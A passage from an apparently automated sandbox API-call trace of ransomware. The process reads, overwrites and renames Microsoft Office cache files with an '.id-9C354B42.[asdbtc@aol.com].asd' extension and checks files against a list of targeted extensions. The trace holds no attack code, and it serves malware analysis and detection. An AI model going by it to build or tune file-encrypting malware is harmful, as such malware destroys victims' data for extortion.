"c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0043.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.944] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0043.945] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.945] ReadFile (in: hFile=0x170, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.138] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.138] ReadFile (in: hFile=0x170, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.180] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.180] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.180] ReadFile (in: hFile=0x170, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.210] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.210] WriteFile (in: hFile=0x170, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0044.552] SetEndOfFile (hFile=0x170) returned 1 [0044.552] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f73be0 [0044.554] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.554] WriteFile (in: hFile=0x170, lpBuffer=0x3f73be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f73be0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.555] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.555] WriteFile (in: hFile=0x170, lpBuffer=0x3f73be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f73be0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.556] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.556] WriteFile (in: hFile=0x170, lpBuffer=0x3f73be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f73be0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.558] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f73be0 | out: hHeap=0x510000) returned 1 [0044.558] CloseHandle (hObject=0x170) returned 1 [0046.345] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0046.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.345] lstrlenW (lpString=".doc") returned 4 [0046.345] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.345] lstrlenW (lpString=".docx") returned 5 [0046.345] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.345] lstrlenW (lpString=".pdf") returned 4 [0046.345] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.345] lstrlenW (lpString=".xls") returned 4 [0046.345] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.345] lstrlenW (lpString=".xlsx") returned 5 [0046.346] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.346] lstrlenW (lpString=".ppt") returned 4 [0046.346] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.346] lstrlenW (lpString=".zip") returned 4 [0046.346] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.346] lstrlenW (lpString=".rar") returned 4 [0046.346] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.346] lstrlenW (lpString=".bz2") returned 4 [0046.346] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.346] lstrlenW (lpString=".7z") returned 3 [0046.346] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.346] lstrlenW (lpString=".dbf") returned 4 [0046.346] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.346] lstrlenW (lpString=".1cd") returned 4 [0046.346] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.346] lstrlenW (lpString=".jpg") returned 4 [0046.346] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.346] lstrlenW (lpString=".doc") returned 4 [0046.346] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.346] lstrlenW (lpString=".docx") returned 5 [0046.346] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.346] lstrlenW (lpString=".pdf") returned 4 [0046.346] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.346] lstrlenW (lpString=".xls") returned 4 [0046.347] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.347] lstrlenW (lpString=".xlsx") returned 5 [0046.347] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.347] lstrlenW (lpString=".ppt") returned 4 [0046.347] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.347] lstrlenW (lpString=".zip") returned 4 [0046.347] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.347] lstrlenW (lpString=".rar") returned 4 [0046.347] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.347] lstrlenW (lpString=".bz2") returned 4 [0046.347] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.347] lstrlenW (lpString=".7z") returned 3 [0046.347] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.347] lstrlenW (lpString=".dbf") returned 4 [0046.347] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.347] lstrlenW (lpString=".1cd") returned 4 [0046.347] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0046.347] lstrlenW (lpString=".jpg") returned 4 [0046.347] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.347] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0046.347] lstrlenW (lpString="Proof.msi") returned 9 [0046.347] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.348] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=875520) returned 1 [0046.348] CloseHandle (hObject=0x170) returned 1 [0046.348] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0046.348] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0046.348] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.348] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.348] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.348] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.138] GetLastError () returned 0x0 [0047.138] ReadFile (in: hFile=0x170, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0047.161] WriteFile (in: hFile=0x1dc, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0047.179] ReadFile (in: hFile=0x170, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0047.179] WriteFile (in: hFile=0x1dc, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.179] SetEndOfFile (hFile=0x1dc) returned 1 [0047.179] CloseHandle (hObject=0x1dc) returned 1 [0047.379] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.379] SetEndOfFile (hFile=0x170) returned 1 [0047.465] CloseHandle (hObject=0x170) returned 1 [0047.465] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0047.466] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0047.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.466] lstrlenW (lpString=".doc") returned 4 [0047.466] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.466] lstrlenW (lpString=".docx") returned 5 [0047.466] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0047.466] lstrlenW (lpString=".pdf") returned 4 [0047.466] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.466] lstrlenW (lpString=".xls") returned 4 [0047.466] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.466] lstrlenW (lpString=".xlsx") returned 5 [0047.466] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0047.466] lstrlenW (lpString=".ppt") returned 4 [0047.466] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.466] lstrlenW (lpString=".zip") returned 4 [0047.466] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.466] lstrlenW (lpString=".rar") returned 4 [0047.466] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.466] lstrlenW (lpString=".bz2") returned 4 [0047.466] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.466] lstrlenW (lpString=".7z") returned 3 [0047.467] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.467] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.467] lstrlenW (lpString=".dbf") returned 4 [0047.467] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.467] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.467] lstrlenW (lpString=".1cd") returned 4 [0047.467] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.467] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.467] lstrlenW (lpString=".jpg") returned 4 [0047.467] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.467] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.467] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.467] lstrlenW (lpString=".doc") returned 4 [0047.467] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.467] lstrlenW (lpString=".docx") returned 5 [0047.467] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0047.467] lstrlenW (lpString=".pdf") returned 4 [0047.467] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.467] lstrlenW (lpString=".xls") returned 4 [0047.467] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.467] lstrlenW (lpString=".xlsx") returned 5 [0047.467] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0047.467] lstrlenW (lpString=".ppt") returned 4 [0047.467] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.467] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.467] lstrlenW (lpString=".zip") returned 4 [0047.467] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.467] lstrlenW (lpString=".rar") returned 4 [0047.467] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.467] lstrlenW (lpString=".bz2") returned 4 [0047.467] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.468] lstrlenW (lpString=".7z") returned 3 [0047.468] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.468] lstrlenW (lpString=".dbf") returned 4 [0047.468] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.468] lstrlenW (lpString=".1cd") returned 4 [0047.468] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0047.468] lstrlenW (lpString=".jpg") returned 4 [0047.468] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.468] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0047.468] lstrlenW (lpString="Proof.cab") returned 9 [0047.468] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.548] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=13642474) returned 1 [0047.548] CloseHandle (hObject=0x170) returned 1 [0047.548] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0047.548] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.549] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0047.549] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.549] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0047.550] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.550] ReadFile (in: hFile=0x170, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.562] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.563] ReadFile (in: hFile=0x170, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.587] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.587] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.587] ReadFile (in: hFile=0x170, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.260] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.260] WriteFile (in: hFile=0x170, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0048.273] SetEndOfFile (hFile=0x170) returned 1 [0048.273] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fd5be8 [0048.277] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.277] WriteFile (in: hFile=0x170, lpBuffer=0x3fd5be8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5be8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.278] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.278] WriteFile (in: hFile=0x170, lpBuffer=0x3fd5be8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5be8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.279] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.279] WriteFile (in: hFile=0x170, lpBuffer=0x3fd5be8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5be8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.280] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fd5be8 | out: hHeap=0x510000) returned 1 [0048.280] CloseHandle (hObject=0x170) returned 1 [0050.240] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0050.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.240] lstrlenW (lpString=".doc") returned 4 [0050.240] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.240] lstrlenW (lpString=".docx") returned 5 [0050.240] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0050.240] lstrlenW (lpString=".pdf") returned 4 [0050.241] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.241] lstrlenW (lpString=".xls") returned 4 [0050.241] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.241] lstrlenW (lpString=".xlsx") returned 5 [0050.241] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0050.241] lstrlenW (lpString=".ppt") returned 4 [0050.241] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.241] lstrlenW (lpString=".zip") returned 4 [0050.241] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.241] lstrlenW (lpString=".rar") returned 4 [0050.241] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.241] lstrlenW (lpString=".bz2") returned 4 [0050.241] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.241] lstrlenW (lpString=".7z") returned 3 [0050.241] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.241] lstrlenW (lpString=".dbf") returned 4 [0050.241] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.241] lstrlenW (lpString="C:\\MSOCache\\All 